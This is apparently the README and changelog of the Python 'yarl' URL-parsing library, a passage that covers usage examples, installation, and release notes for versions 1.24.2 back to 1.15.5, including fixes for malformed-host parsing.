https://img.shields.io/matrix/aio-libs-space:matrix.org?label=Discuss%20on%20Matrix%20at%20%23aio-libs-space%3Amatrix.org&logo=matrix&server_fqdn=matrix.org&style=flat\n   :target: https://matrix.to/#/%23aio-libs-space:matrix.org\n   :alt: Matrix Space \u2014 #aio-libs-space:matrix.org\n\n\nIntroduction\n------------\n\nUrl is constructed from ``str``:\n\n.. code-block:: pycon\n\n   >>> from yarl import URL\n   >>> url = URL('https://www.python.org/~guido?arg=1#frag')\n   >>> url\n   URL('https://www.python.org/~guido?arg=1#frag')\n\nAll url parts: *scheme*, *user*, *password*, *host*, *port*, *path*,\n*query* and *fragment* are accessible by properties:\n\n.. code-block:: pycon\n\n   >>> url.scheme\n   'https'\n   >>> url.host\n   'www.python.org'\n   >>> url.path\n   '/~guido'\n   >>> url.query_string\n   'arg=1'\n   >>> url.query\n   \n   >>> url.fragment\n   'frag'\n\nAll url manipulations produce a new url object:\n\n.. code-block:: pycon\n\n   >>> url = URL('https://www.python.org')\n   >>> url / 'foo' / 'bar'\n   URL('https://www.python.org/foo/bar')\n   >>> url / 'foo' % {'bar': 'baz'}\n   URL('https://www.python.org/foo?bar=baz')\n\nStrings passed to constructor and modification methods are\nautomatically encoded giving canonical representation as result:\n\n.. code-block:: pycon\n\n   >>> url = URL('https://www.python.org/\u0448\u043b\u044f\u0445')\n   >>> url\n   URL('https://www.python.org/%D1%88%D0%BB%D1%8F%D1%85')\n\nRegular properties are *percent-decoded*, use ``raw_`` versions for\ngetting *encoded* strings:\n\n.. code-block:: pycon\n\n   >>> url.path\n   '/\u0448\u043b\u044f\u0445'\n\n   >>> url.raw_path\n   '/%D1%88%D0%BB%D1%8F%D1%85'\n\nHuman readable representation of URL is available as ``.human_repr()``:\n\n.. code-block:: pycon\n\n   >>> url.human_repr()\n   'https://www.python.org/\u0448\u043b\u044f\u0445'\n\nFor full documentation please read https://yarl.aio-libs.org.\n\n\nInstallation\n------------\n\n::\n\n   $ pip install yarl\n\nThe library is Python 3 only!\n\nPyPI contains binary wheels for Linux, Windows and MacOS.  If you want to install\n``yarl`` on another operating system where wheels are not provided,\nthe tarball will be used to compile the library from\nthe source code. It requires a C compiler and and Python headers installed.\n\nTo skip the compilation you must explicitly opt-in by using a PEP 517\nconfiguration setting ``pure-python``, or setting the ``YARL_NO_EXTENSIONS``\nenvironment variable to a non-empty value, e.g.:\n\n.. code-block:: console\n\n   $ pip install yarl --config-settings=pure-python=false\n\nPlease note that the pure-Python (uncompiled) version is much slower. However,\nPyPy always uses a pure-Python implementation, and, as such, it is unaffected\nby this variable.\n\nDependencies\n------------\n\nYARL requires multidict_ and propcache_ libraries.\n\n\nAPI documentation\n------------------\n\nThe documentation is located at https://yarl.aio-libs.org.\n\n\nWhy isn't boolean supported by the URL query API?\n-------------------------------------------------\n\nThere is no standard for boolean representation of boolean values.\n\nSome systems prefer ``true``/``false``, others like ``yes``/``no``, ``on``/``off``,\n``Y``/``N``, ``1``/``0``, etc.\n\n``yarl`` cannot make an unambiguous decision on how to serialize ``bool`` values because\nit is specific to how the end-user's application is built and would be different for\ndifferent apps.  The library doesn't accept booleans in the API; a user should convert\nbools into strings using own preferred translation protocol.\n\n\nComparison with other URL libraries\n------------------------------------\n\n* furl (https://pypi.python.org/pypi/furl)\n\n  The library has rich functionality but the ``furl`` object is mutable.\n\n  I'm afraid to pass this object into foreign code: who knows if the\n  code will modify my url in a terrible way while I just want to send URL\n  with handy helpers for accessing URL properties.\n\n  ``furl`` has other non-obvious tricky things but the main objection\n  is mutability.\n\n* URLObject (https://pypi.python.org/pypi/URLObject)\n\n  URLObject is immutable, that's pretty good.\n\n  Every URL change generates a new URL object.\n\n  But the library doesn't do any decode/encode transformations leaving the\n  end user to cope with these gory details.\n\n\nSource code\n-----------\n\nThe project is hosted on GitHub_\n\nPlease file an issue on the `bug tracker\n`_ if you have found a bug\nor have some suggestion in order to improve the library.\n\nDiscussion list\n---------------\n\n*aio-libs* google group: https://groups.google.com/forum/#!forum/aio-libs\n\nFeel free to post your questions and ideas here.\n\n\nAuthors and License\n-------------------\n\nThe ``yarl`` package is written by Andrew Svetlov.\n\nIt's *Apache 2* licensed and freely available.\n\n\n.. _GitHub: https://github.com/aio-libs/yarl\n\n.. _multidict: https://github.com/aio-libs/multidict\n\n.. _propcache: https://github.com/aio-libs/propcache\n\n=========\nChangelog\n=========\n\n..\n    You should *NOT* be adding new change log entries to this file, this\n    file is managed by towncrier. You *may* edit previous change logs to\n    fix problems like typo corrections or such.\n    To add a new change log entry, please see\n    https://pip.pypa.io/en/latest/development/#adding-a-news-entry\n    we named the news folder \"changes\".\n\n    WARNING: Don't drop the next directive!\n\n.. towncrier release notes start\n\nv1.24.2\n=======\n\n*(2026-05-19)*\n\n\nContributor-facing changes\n--------------------------\n\n- Switched the aarch64 and armv7l wheel builds to GitHub's native ARM\n  runners. The aarch64 wheels now build without QEMU emulation, and\n  armv7l runs on aarch64 hosts so its 32-bit ARM execution is far\n  cheaper than the previous aarch64-on-x86_64 path\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1724 `__.\n\n- Restored per-runner native arches in the Windows wheel matrix on tag\n  releases. The previous ``CIBW_ARCHS_WINDOWS=AMD64 ARM64`` setting made\n  both ``windows-latest`` and ``windows-11-arm`` cross-compile the other\n  arch, producing two artifacts with identically-named wheels whose\n  bytes differed; the deploy job's ``download-artifact ... merge-multiple``\n  step tore those writes together, yielding a wheel that PyPI rejected\n  with ``400 Invalid distribution file. ZIP archive not accepted:\n  Mis-matched data size`` during the 1.24.0 and 1.24.1 releases\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1725 `__.\n\n\n----\n\n\nv1.24.1\n=======\n\n*(2026-05-19)*\n\n\nContributor-facing changes\n--------------------------\n\n- Allowed re-running the deploy job after a partial release failure: the\n  ``Make Release`` step now skips when the GitHub Release already exists,\n  and the PyPI publish step uses ``skip-existing`` so dists that were\n  already uploaded on a prior attempt do not break the retry\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1721 `__.\n\n\n----\n\n\nv1.24.0\n=======\n\n*(2026-05-19)*\n\n\nBug fixes\n---------\n\n- Delayed importing pydantic until it's needed to avoid increased import time -- by `@Dreamsorcerer `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1607 `__, `#1702 `__.\n\n- Fixed pickling of ``~yarl.URL`` on Python 3.15, where ``SplitResult``\n  gained a ``__getstate__`` that requires attributes set by ``__init__``.\n  ``__getstate__`` now returns the raw 5-tuple instead of a ``SplitResult``\n  built via ``tuple.__new__``, so pickling no longer touches ``SplitResult``\n  serialization at all. Pickles produced by older yarl releases (which embed\n  a ``SplitResult``) continue to load unchanged\n  -- by `@befeleme `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1632 `__, `#1642 `__, `#1687 `__.\n\n- Fixed a parsing issue where URLs containing text before an opening bracket\n  in the host component (e.g. ``http://127.0.0.1[aa::ff]``) were silently accepted\n  instead of being rejected as strictly invalid per RFC 3986\n  -- by `@rodrigobnogueira `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1654 `__.\n\n- Raise ``ValueError`` when a URL's authority component contains a\n  backslash, which is not a valid character per ``3986``\n  -- by `@rodrigobnogueira `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1659 `__.\n\n- Fixed a host-confusion parsing bug where URLs containing multiple bracket\n  characters in the host component (e.g. ``http://[:localhost[]].google:80``)\n  were silently parsed as an unintended host. Both ``split_url()`` and\n  ``split_netloc()`` now raise ``ValueError`` when more than one ``[`` or\n  ``]`` is found in the authority, or when ``[`` does not appear at the start of\n  the host subcomponent, in compliance with ``3986`` -- by\n  `@rodrigobnogueira `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1661 `__.\n\n- Fixed a parser/serializer inconsistency where percent-encoded characters in\n  the scheme portion of a URL (e.g. ``ht%74p://...``) were decoded by the\n  requoter, causing ``str()`` and ``yarl.URL.human_repr()`` to emit an\n  absolute URL with a scheme and host while the parsed properties\n  (``~yarl.URL.scheme``, ``~yarl.URL.host``, ``~yarl.URL.absolute``)\n  reported a relative, hostless URL. The fix preserves the percent-encoding of\n  the colon (``%3A``) in relative paths whenever decoding it would materialize a\n  URL scheme -- by `@rodrigobnogueira `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1669 `__.\n\n- Fixed a parsing issue where URLs containing text after the closing bracket\n  of an IP-literal host (e.g. ``http://[::1]allowed.example:1/``) were silently\n  accepted and normalized to the bracketed IP address (``http://[::1]:1/``),\n  dropping the trailing suffix and changing the effective host identity.\n  Per RFC 3986, after the closing ``]`` only ``:`` followed by a port number or\n  end-of-authority is valid\n  -- by `@rodrigobnogueira `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1672 `__.\n\n\nFeatures\n--------\n\n- Start building and shipping riscv64 wheels\n  -- by `@justeph `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1626 `__.\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Dropped support for the experimental free-threaded build of Python 3.13 -- by `@ngoldbaum `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1667 `__.\n\n\nImproved documentation\n----------------------\n\n- Added a note in the ``yarl.URL.with_query()`` documentation explaining\n  that types implementing ``__int__`` (e.g. ``~uuid.UUID``) are\n  converted to integers, and advising users to cast to ``str`` when the\n  human-readable representation is needed -- by `@r266-tech `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1638 `__, `#1645 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- Resolved a ruff ``ISC004`` violation in the PEP 517 build backend so the\n  pre-commit ``ruff-check`` hook passes again\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1674 `__.\n\n- Renamed the ``actions/checkout`` ``depth`` input to ``fetch-depth`` in the\n  reusable codspeed workflow so the actionlint pre-commit hook passes and the\n  intended shallow clone actually takes effect\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1676 `__.\n\n- Bumped the pinned ``pyupgrade`` pre-commit hook to ``v3.21.2`` so it stops\n  crashing on Python 3.14, which made ``tokenize.cookie_re`` bytes-only\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1677 `__.\n\n- The type preciseness coverage report generated by `MyPy\n  `__ is now uploaded to `Coveralls\n  `__ and\n  will not be included in the `Codecov views\n  `__ going forward\n  -- by `@webknjaz `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1680 `__.\n\n- Raised the per-matrix-cell timeout of the CI ``Test`` job from\n  5 to 10 minutes to prevent false failures on slower runners\n  -- by `@aiolibsbot `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1683 `__.\n\n- Added an ``AGENTS.md`` orientation file at the repository root,\n  covering the pull request template, ``CHANGES/`` news fragment\n  conventions, draft-PR workflow, and the Cython quoter layout, so\n  LLM contributors land changes that match project style\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1685 `__.\n\n- Documented in ``AGENTS.md`` that the coverage gate also\n  applies to test code, so unreachable defensive ``raise`` guards\n  and one-sided cleanup branches in tests will fail CI\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1689 `__.\n\n- Shrunk the CI wheel-build matrix on pull requests and non-tag pushes by\n  restricting ``CIBW_ARCHS_MACOS`` to ``arm64``, ``CIBW_ARCHS_WINDOWS`` to\n  ``AMD64``, and skipping the ``windows-11-arm`` runner -- the test matrix only\n  exercises those architectures, so the previously-built ``x86_64`` macOS and\n  ``ARM64`` Windows wheels were never installed. Tag releases still build the\n  full architecture set\n  -- by `@aiolibsbot `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1692 `__.\n\n- Documented the docs spell check (``make doc-spelling``) in\n  ``AGENTS.md`` as a pre-push gate, mirroring\n  `aio-libs/multidict#1345\n  `__. The\n  spell checker reads every ``CHANGES/*.rst`` fragment as part\n  of the docs build, so an unknown technical word in a news\n  fragment fails CI before a human sees the PR\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1693 `__.\n\n- Added a ``CLAUDE.md`` at the repository root that imports\n  ``AGENTS.md`` via Claude Code's ``@``-syntax, so the\n  project's LLM contributor rules load automatically when\n  working in Claude Code\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1696 `__.\n\n- Enforced top-level imports across ``yarl`` and ``tests`` via the ruff\n  ``PLC0415`` rule, wired through a new ``ruff-check`` pre-commit hook.\n  Function-scoped imports must now opt in with ``# noqa: PLC0415`` plus\n  a comment explaining the import-time reason. Dropped the ``yesqa``\n  hook, which could not recognize ruff-only codes and stripped the new\n  ``noqa`` comments as stale; a wider migration off flake8 onto ruff\n  will follow separately\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1697 `__.\n\n- Migrated the main tree from standalone ``black`` and ``isort``\n  pre-commit hooks to ``ruff format`` and the ruff ``I`` lint rule,\n  sharing the existing ``[tool.ruff]`` config in ``pyproject.toml``.\n  ``ruff-check`` now runs with ``--fix`` so import-order fixes apply\n  on commit, and the orphan ``[isort]`` block in ``setup.cfg`` was\n  removed. The ``packaging/pep517_backend/`` subtree keeps its own\n  ``.ruff.toml`` and is unaffected\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1698 `__.\n\n- Switched the ``cibuildwheel`` build frontend to ``build[uv]`` so\n  that ``uv`` provisions every build and test virtual environment\n  in the wheel matrix. Test-dependency installation in particular\n  drops from a multi-second ``pip install`` per ABI to a roughly\n  sub-second ``uv`` resolve\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1699 `__.\n\n- Restructured the root ``CLAUDE.md`` to import contributor\n  context from a shared ``aio-libs`` layer\n  (``~/.claude/aio-libs/context.md``), a project-specific layer\n  (``~/.claude/aio-libs/yarl/context.md``), the in-tree\n  ``AGENTS.md``, and an optional per-checkout\n  ``CLAUDE.local.md`` override (added to ``.gitignore``),\n  so shared ``aio-libs`` guidance can live outside the repository\n  while project rules continue to load automatically in Claude\n  Code -- by `@aiolibsbot `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1700 `__, `#1701 `__.\n\n- Switched CI/CD to ``tox-dev/workflow``'s ``reusable-tox.yml``\n  driven by an in-tree ``tox.ini``. The ``build``,\n  ``metadata-validation`` and ``lint`` (``pre-commit``,\n  ``spellcheck-docs``, ``build-docs``) jobs all run through the\n  reusable workflow; MyPy coverage uploads to Coveralls from a\n  ``post-tox-job`` hook\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1711 `__.\n\n- Switched the CI ``test`` job from ``actions/setup-python`` to\n  ``astral-sh/setup-uv`` with ``uv pip install``. Pre-release\n  interpreters skip the wheel cache so each run resolves freshly\n  against the current snapshot\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1715 `__.\n\n- Switched the ``Aiohttp`` workflow that runs the aiohttp test\n  suite against the in-tree yarl checkout from\n  ``actions/setup-python`` to ``astral-sh/setup-uv`` with ``uv\n  pip install``\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1716 `__.\n\n- Switched the ``Aiohttp`` workflow's ``make .develop`` step to\n  install aiohttp's dev env through ``uv pip`` by passing\n  ``PIP=\"uv pip\"``\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1717 `__.\n\n\n----\n\n\n1.23.0\n======\n\n*(2025-12-16)*\n\n\nFeatures\n--------\n\n- Added support for ``pydantic``, the ``~yarl.URL`` could be used as a\n  field type in ``pydantic`` models seamlessly.\n\n  *Related issues and pull requests on GitHub:*\n  `#1607 `__.\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- The CI has been set up to notify Codecov about upload completion\n  -- by `@webknjaz `__.\n\n  With this, Codecov no longer needs to guess whether it received all\n  the intended coverage reports or not.\n\n  *Related issues and pull requests on GitHub:*\n  `#1577 `__.\n\n- The in-tree build backend allows the end-users appending\n  ``CFLAGS`` and ``LDFLAGS`` by setting respective environment\n  variables externally.\n\n  It additionally sets up default compiler flags to perform\n  building with maximum optimization in release mode. This\n  makes the resulting artifacts shipped to PyPI smaller.\n\n  When line tracing is requested, the compiler and linker\n  flags are configured to include as much information as\n  possible for debugging and coverage tracking. The\n  development builds are therefore smaller.\n\n  -- by `@webknjaz `__\n\n  *Related issues and pull requests on GitHub:*\n  `#1586 `__.\n\n- The `PEP 517 `__ build backend now supports a new config\n  setting for controlling whether to build the project in-tree\n  or in a temporary directory. It only affects wheels and is\n  set up to build in a temporary directory by default. It does\n  not affect editable wheel builds \u2014 they will keep being\n  built in-tree regardless.\n\n  -- by `@webknjaz `__\n\n  Here's an example of using this setting:\n\n  .. code-block:: console\n\n     $ python -m build \\\n         --config-setting=build-inplace=true\n\n  *Related issues and pull requests on GitHub:*\n  `#1590 `__.\n\n- Starting this version, when building the wheels is happening\n  in an automatically created temporary directory, the build\n  backend makes an effort to normalize the respective file\n  system path to a deterministic source checkout directory.\n\n  -- by `@webknjaz `__\n\n  It does so by injecting the ``-ffile-prefix-map`` compiler\n  option into the ``CFLAGS`` environment variable as suggested\n  by known `reproducible build practices\n  `__.\n\n  The effect is that downstreams will get more reproducible\n  build results.\n\n  *Related issues and pull requests on GitHub:*\n  `#1591 `__.\n\n- Dropped Python 3.9 support; Python 3.10 is the minimal supported Python version\n  -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1609 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- The deprecated license classifier was removed from ``setup.cfg``\n  -- by `@yegorich `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1550 `__.\n\n- The in-tree build backend allows the end-users appending\n  ``CFLAGS`` and ``LDFLAGS`` by setting respective environment\n  variables externally.\n\n  It additionally sets up default compiler flags to perform\n  building with maximum optimization in release mode. This\n  makes the resulting artifacts shipped to PyPI smaller.\n\n  When line tracing is requested, the compiler and linker\n  flags are configured to include as much information as\n  possible for debugging and coverage tracking. The\n  development builds are therefore smaller.\n\n  -- by `@webknjaz `__\n\n  *Related issues and pull requests on GitHub:*\n  `#1586 `__.\n\n- The CI has been updated to consistently benchmark optimized\n  release builds -- by `@webknjaz `__.\n\n  When the release workflow is triggered, the pre-built wheels\n  ready to hit PyPI are being tested. Otherwise, the job\n  builds the project from source, while the rest of the\n  workflow uses debug builds for line tracing and coverage\n  collection.\n\n  *Related issues and pull requests on GitHub:*\n  `#1587 `__.\n\n\n----\n\n\n1.22.0\n======\n\n*(2025-10-05)*\n\n\nFeatures\n--------\n\n- Added arm64 Windows wheel builds\n  -- by `@finnagin `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1516 `__.\n\n\n----\n\n\n1.21.0\n======\n\n*(2025-10-05)*\n\n\nContributor-facing changes\n--------------------------\n\n- The ``reusable-cibuildwheel.yml`` workflow has been refactored to\n  be more generic and ``ci-cd.yml`` now holds all the configuration\n  toggles -- by `@webknjaz `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1535 `__.\n\n- When building wheels, the source distribution is now passed directly\n  to the ``cibuildwheel`` invocation -- by `@webknjaz `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1536 `__.\n\n- Added CI for Python 3.14 -- by `@kumaraditya303 `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1560 `__.\n\n\n----\n\n\n1.20.1\n======\n\n*(2025-06-09)*\n\n\nBug fixes\n---------\n\n- Started raising a ``ValueError`` exception raised for corrupted\n  IPv6 URL values.\n\n  These fixes the issue where exception ``IndexError`` was\n  leaking from the internal code because of not being handled and\n  transformed into a user-facing error. The problem was happening\n  under the following conditions: empty IPv6 URL, brackets in\n  reverse order.\n\n  -- by `@MaelPic `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1512 `__.\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- Updated to use Cython 3.1 universally across the build path -- by `@lysnikolaou `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1514 `__.\n\n- Made Cython line tracing opt-in via the ``with-cython-tracing`` build config setting -- by `@bdraco `__.\n\n  Previously, line tracing was enabled by default in ``pyproject.toml``, which caused build issues for some users and made wheels nearly twice as slow.\n  Now line tracing is only enabled when explicitly requested via ``pip install . --config-setting=with-cython-tracing=true`` or by setting the ``YARL_CYTHON_TRACING`` environment variable.\n\n  *Related issues and pull requests on GitHub:*\n  `#1521 `__.\n\n\n----\n\n\n1.20.0\n======\n\n*(2025-04-16)*\n\n\nFeatures\n--------\n\n- Implemented support for the free-threaded build of CPython 3.13 -- by `@lysnikolaou `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1456 `__.\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- Started building wheels for the free-threaded build of CPython 3.13 -- by `@lysnikolaou `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1456 `__.\n\n\n----\n\n\n1.19.0\n======\n\n*(2025-04-05)*\n\n\nBug fixes\n---------\n\n- Fixed entire name being re-encoded when using ``yarl.URL.with_suffix()`` -- by `@NTFSvolume `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1468 `__.\n\n\nFeatures\n--------\n\n- Started building armv7l wheels for manylinux -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1495 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- GitHub Actions CI/CD is now configured to manage caching pip-ecosystem\n  dependencies using `re-actors/cache-python-deps`_ -- an action by\n  `@webknjaz `__ that takes into account ABI stability and the exact\n  version of Python runtime.\n\n  .. _`re-actors/cache-python-deps`:\n     https://github.com/marketplace/actions/cache-python-deps\n\n  *Related issues and pull requests on GitHub:*\n  `#1471 `__.\n\n- Increased minimum `propcache`_ version to 0.2.1 to fix failing tests -- by `@bdraco `__.\n\n  .. _`propcache`:\n     https://github.com/aio-libs/propcache\n\n  *Related issues and pull requests on GitHub:*\n  `#1479 `__.\n\n- Added all hidden folders to pytest's ``norecursedirs`` to prevent it\n  from trying to collect tests there -- by `@lysnikolaou `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1480 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved accuracy of type annotations -- by `@Dreamsorcerer `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1484 `__.\n\n- Improved performance of parsing query strings -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1493 `__, `#1497 `__.\n\n- Improved performance of the C unquoter -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1496 `__, `#1498 `__.\n\n\n----\n\n\n1.18.3\n======\n\n*(2024-12-01)*\n\n\nBug fixes\n---------\n\n- Fixed uppercase ASCII hosts being rejected by ``URL.build()()`` and ``yarl.URL.with_host()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#954 `__, `#1442 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performances of multiple path properties on cache miss -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1443 `__.\n\n\n----\n\n\n1.18.2\n======\n\n*(2024-11-29)*\n\n\nNo significant changes.\n\n\n----\n\n\n1.18.1\n======\n\n*(2024-11-29)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved cache performance when ``~yarl.URL`` objects are constructed from ``yarl.URL.build()`` with ``encoded=True`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1432 `__.\n\n- Improved cache performance for operations that produce a new ``~yarl.URL`` object -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1434 `__, `#1436 `__.\n\n\n----\n\n\n1.18.0\n======\n\n*(2024-11-21)*\n\n\nFeatures\n--------\n\n- Added ``keep_query`` and ``keep_fragment`` flags in the ``yarl.URL.with_path()``, ``yarl.URL.with_name()`` and ``yarl.URL.with_suffix()`` methods, allowing users to optionally retain the query string and fragment in the resulting URL when replacing the path -- by `@paul-nameless `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#111 `__, `#1421 `__.\n\n\nContributor-facing changes\n--------------------------\n\n- Started running downstream ``aiohttp`` tests in CI -- by `@Cycloctane `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1415 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of converting ``~yarl.URL`` to a string -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1422 `__.\n\n\n----\n\n\n1.17.2\n======\n\n*(2024-11-17)*\n\n\nBug fixes\n---------\n\n- Stopped implicitly allowing the use of Cython pre-release versions when\n  building the distribution package -- by `@ajsanchezsanz `__ and\n  `@markgreene74 `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1411 `__, `#1412 `__.\n\n- Fixed a bug causing ``~yarl.URL.port`` to return the default port when the given port was zero\n  -- by `@gmacon `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1413 `__.\n\n\nFeatures\n--------\n\n- Make error messages include details of incorrect type when ``port`` is not int in ``yarl.URL.build()``.\n  -- by `@Cycloctane `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1414 `__.\n\n\nPackaging updates and notes for downstreams\n-------------------------------------------\n\n- Stopped implicitly allowing the use of Cython pre-release versions when\n  building the distribution package -- by `@ajsanchezsanz `__ and\n  `@markgreene74 `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1411 `__, `#1412 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of the ``yarl.URL.joinpath()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1418 `__.\n\n\n----\n\n\n1.17.1\n======\n\n*(2024-10-30)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of many ``~yarl.URL`` methods -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1396 `__, `#1397 `__, `#1398 `__.\n\n- Improved performance of passing a `dict` or `str` to ``yarl.URL.extend_query()`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1401 `__.\n\n\n----\n\n\n1.17.0\n======\n\n*(2024-10-28)*\n\n\nFeatures\n--------\n\n- Added ``~yarl.URL.host_port_subcomponent`` which returns the ``3986#section-3.2.2`` host and ``3986#section-3.2.3`` port subcomponent -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1375 `__.\n\n\n----\n\n\n1.16.0\n======\n\n*(2024-10-21)*\n\n\nBug fixes\n---------\n\n- Fixed blocking I/O to load Python code when creating a new ``~yarl.URL`` with non-ascii characters in the network location part -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1342 `__.\n\n\nRemovals and backward incompatible breaking changes\n---------------------------------------------------\n\n- Migrated to using a single cache for encoding hosts -- by `@bdraco `__.\n\n  Passing ``ip_address_size`` and ``host_validate_size`` to ``yarl.cache_configure()`` is deprecated in favor of the new ``encode_host_size`` parameter and will be removed in a future release. For backwards compatibility, the old parameters affect the ``encode_host`` cache size.\n\n  *Related issues and pull requests on GitHub:*\n  `#1348 `__, `#1357 `__, `#1363 `__.\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of constructing ``~yarl.URL`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1336 `__.\n\n- Improved performance of calling ``yarl.URL.build()`` and constructing unencoded ``~yarl.URL`` -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1345 `__.\n\n- Reworked the internal encoding cache to improve performance on cache hit -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1369 `__.\n\n\n----\n\n\n1.15.5\n======\n\n*(2024-10-18)*\n\n\nMiscellaneous internal changes\n------------------------------\n\n- Improved performance of the ``yarl.URL.joinpath()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1304 `__.\n\n- Improved performance of the ``yarl.URL.extend_query()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1305 `__.\n\n- Improved performance of the ``yarl.URL.origin()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1306 `__.\n\n- Improved performance of the ``yarl.URL.with_path()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1307 `__.\n\n- Improved performance of the ``yarl.URL.with_query()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1308 `__, `#1328 `__.\n\n- Improved performance of the ``yarl.URL.update_query()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1309 `__, `#1327 `__.\n\n- Improved performance of the ``yarl.URL.join()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1313 `__.\n\n- Improved performance of ``~yarl.URL`` equality checks -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1315 `__.\n\n- Improved performance of ``~yarl.URL`` methods that modify the network location -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1316 `__.\n\n- Improved performance of the ``yarl.URL.with_fragment()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1317 `__.\n\n- Improved performance of calculating the hash of ``~yarl.URL`` objects -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1318 `__.\n\n- Improved performance of the ``yarl.URL.relative()`` method -- by `@bdraco `__.\n\n  *Related issues and pull requests on GitHub:*\n  `#1319 `__.\n\n- Improved performance of the ``yarl.URL.with_name()`` method -- by 